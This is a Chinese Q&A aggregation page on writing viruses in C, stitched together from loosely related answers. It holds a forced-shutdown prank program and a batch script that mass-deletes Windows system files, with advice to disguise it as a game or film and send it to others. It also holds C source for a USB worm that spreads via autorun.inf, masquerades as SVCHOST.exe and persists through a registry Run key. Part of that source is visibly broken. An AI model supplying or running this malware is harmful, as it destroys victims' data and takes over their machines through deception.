用c語言寫的著名病毒
A. 用c語言能寫牛X的病毒不 C是只面向過程的吧 很容易吧 C能幹什麼 靠他吃飯行嗎
當然可以了,書有很多啊,簡單的有《C primer plus》,《C HOW TO PROGRAM》《21天學會C語言》《c程序設計語言》《C語言解惑》等等,有很多的只要你有悟性,能夠感悟C語言的魅力,你一定可以的。
B. C語言擅長寫什麼病毒
JAVA好些
C. 用C語言編的病毒我見過,有用C語言寫木馬的嗎/
有`
而且殺軟很難查殺出來``任何語言都可以編寫相同的程序只不過有的比較復雜而已
D. C語言編寫的病毒有哪些
#include
#include
main()
{
char
a;
int
b;
system("shutdown
-s");
printf
("你是不是豬?\n是的話請輸入y,不是的話就輸入n吧。");
a
=
getchar();
b
=
a
==
'y';
if
(b
==
1)
{
system("shutdown
-a");
printf("哈,世界上有多了一頭會專說話的豬。\n");
}
else
printf("後果很嚴屬重……\n");
getchar();
getchar();
return
0;
}
這應該不算病毒,沒有自我復制功能,你放進編譯器裡面運行看看會有什麼後果吧
E. 如何用C語言編一個簡單病毒
建立一個文檔,寫入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之後保存將文件重命名為"【文件名】.bat"
然後文件會自動變異為木馬文件【360 瑞星什麼的彈窗狂出】,別管他,允許就行了,大約重命名完成後不到半秒就完事了,然後把這個文件發到別人電腦里,名字弄得吸引人一些,比如游戲啊,電影,歌曲什麼的,【擴展名一定為.bat】只要他一打開............片刻之後,除了裝系統估計一般人沒轍了
以上為最簡單的病毒軟體了。利用的是批處理刪除系統文件的方法
F. 如何用C語言寫病毒
在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;
警告:不會修改注冊表的人;別運行本程序...
G. 有沒有用c語言寫的病毒
不會的,你電腦不會中病毒,這個就是一般的修改注冊表的簡單C程序。當然稍加修改可以做。但是沒啥大的問題。
H. 用c語言編寫一個計算機病毒的例子
1):首先要知道語言的層次結構,通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進制代碼。
2):要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式,如(1+2),還是匯編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進制代碼。
如果你學過微型計算機原理,應該知道一個匯編指令,最終要執行還得用處理器的微指令來表達。
3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。
I. 用c語言編寫的病毒有沒有簡單點的 參考一下
#include "stdio.h"
void main()
{
while(1)
{
printf("我是病毒**\n");
}
}
J. 怎樣用C語言編寫病毒 / 藍訊
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}